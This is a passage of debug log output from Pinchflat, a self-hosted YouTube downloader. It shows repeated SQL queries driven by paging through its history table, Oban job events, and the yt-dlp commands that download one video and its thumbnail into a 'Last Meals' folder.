s1."max_duration_seconds"))) [] 21:30:37.283 [debug] QUERY OK source="media_items" db=0.5ms idle=558.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 25] 21:30:37.283 [debug] QUERY OK source="sources" db=0.1ms idle=316.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 21:30:37.283 [debug] Replied in 1ms 21:30:37.541 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:37.542 [debug] QUERY OK source="media_items" db=0.3ms idle=574.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:37.543 [debug] QUERY OK source="media_items" db=0.5ms idle=259.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 20] 21:30:37.543 [debug] QUERY OK source="sources" db=0.1ms idle=259.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:37.543 [debug] Replied in 1ms 21:30:37.758 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:37.759 [debug] QUERY OK source="media_items" db=0.4ms idle=475.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:37.761 [debug] QUERY OK source="media_items" db=1.0ms idle=237.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 21:30:37.761 [debug] QUERY OK source="sources" db=0.2ms idle=219.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:37.762 [debug] Replied in 3ms 21:30:38.008 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:38.009 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=466.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:38.011 [debug] QUERY OK source="media_items" db=1.1ms idle=466.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 21:30:38.012 [debug] QUERY OK source="sources" db=0.3ms idle=251.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:38.012 [debug] Replied in 3ms 21:30:38.480 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:38.481 [debug] QUERY OK source="media_items" db=0.6ms idle=719.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:38.483 [debug] QUERY OK source="media_items" db=1.3ms idle=720.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 21:30:38.484 [debug] QUERY OK source="sources" db=0.3ms idle=474.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:38.484 [debug] Replied in 4ms 21:30:38.924 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:30:38.925 [debug] QUERY OK source="media_items" db=0.6ms idle=912.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:30:38.927 [debug] QUERY OK source="media_items" db=1.1ms idle=444.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:30:38.928 [debug] QUERY OK source="sources" db=0.3ms idle=444.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:38.928 [debug] Replied in 3ms 21:30:58.709 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.605 [info] {"source":"oban","duration":164,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:09.612 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rs9A20wRUxI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6f/17/6f17203adaa06bdec6302621d9f2ce03cfa28aef740ec147108d5ecf18c2f9e7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:31:09.621 [debug] Running yt-dlp command for action: download_thumbnail 21:31:09.622 [debug] QUERY OK source="settings" db=0.0ms idle=1564.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:09.622 [debug] QUERY OK source="settings" db=0.0ms idle=1564.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:09.622 [debug] QUERY OK source="settings" db=0.1ms idle=1564.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:09.622 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rs9A20wRUxI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/35/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/e4/e5/e4e537b2e6ed1f9c103cdf72924909c43c0db2f6bc0a3ad01df8e3b36b49e020.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:31:12.648 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rs9A20wRUxI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/35/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/e4/e5/e4e537b2e6ed1f9c103cdf72924909c43c0db2f6bc0a3ad01df8e3b36b49e020.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:31:12.648 [debug] QUERY OK db=0.0ms idle=1591.1ms begin [] 21:31:12.649 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:31:09Z], "/downloads/Last Meals/2025-01-16 Brain Tumor Survivor Simone Giertz Eats Her Last Meal/Brain Tumor Survivor Simone Giertz Eats Her Last Meal [rs9A20wRUxI].mp4", ~U[2026-03-28 01:31:12Z], 35] 21:31:12.650 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/35/metadata.json.gz", "/config/metadata/media_items/35/thumbnail.jpg", 35, ~U[2026-03-28 01:31:12Z], ~U[2026-03-28 01:31:12Z]] 21:31:12.650 [debug] QUERY OK db=0.1ms commit [] 21:31:12.651 [debug] QUERY OK source="media_items" db=0.8ms idle=1593.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [363735433, ~U[2026-03-28 01:31:12Z], 35] 21:31:12.651 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:31:12.651 [info] {"args":{"id":35},"id":38,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":133195861,"event":"job:stop","queue_time":2473455344,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:31:12.652 [debug] QUERY OK source="tasks" db=0.1ms idle=594.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:31:12.652 [debug] QUERY OK source="media_items" db=0.0ms idle=73.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [36] 21:31:12.657 [info] {"args":{"id":37},"id":40,"meta":{},"system_time":1774661472657697801,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:31:12.657 [debug] QUERY OK source="media_items" db=0.1ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [37] 21:31:12.658 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:31:12.658 [debug] QUERY OK source="tasks" db=0.2ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:31:12.658 [debug] QUERY OK source="sources" db=0.0ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", 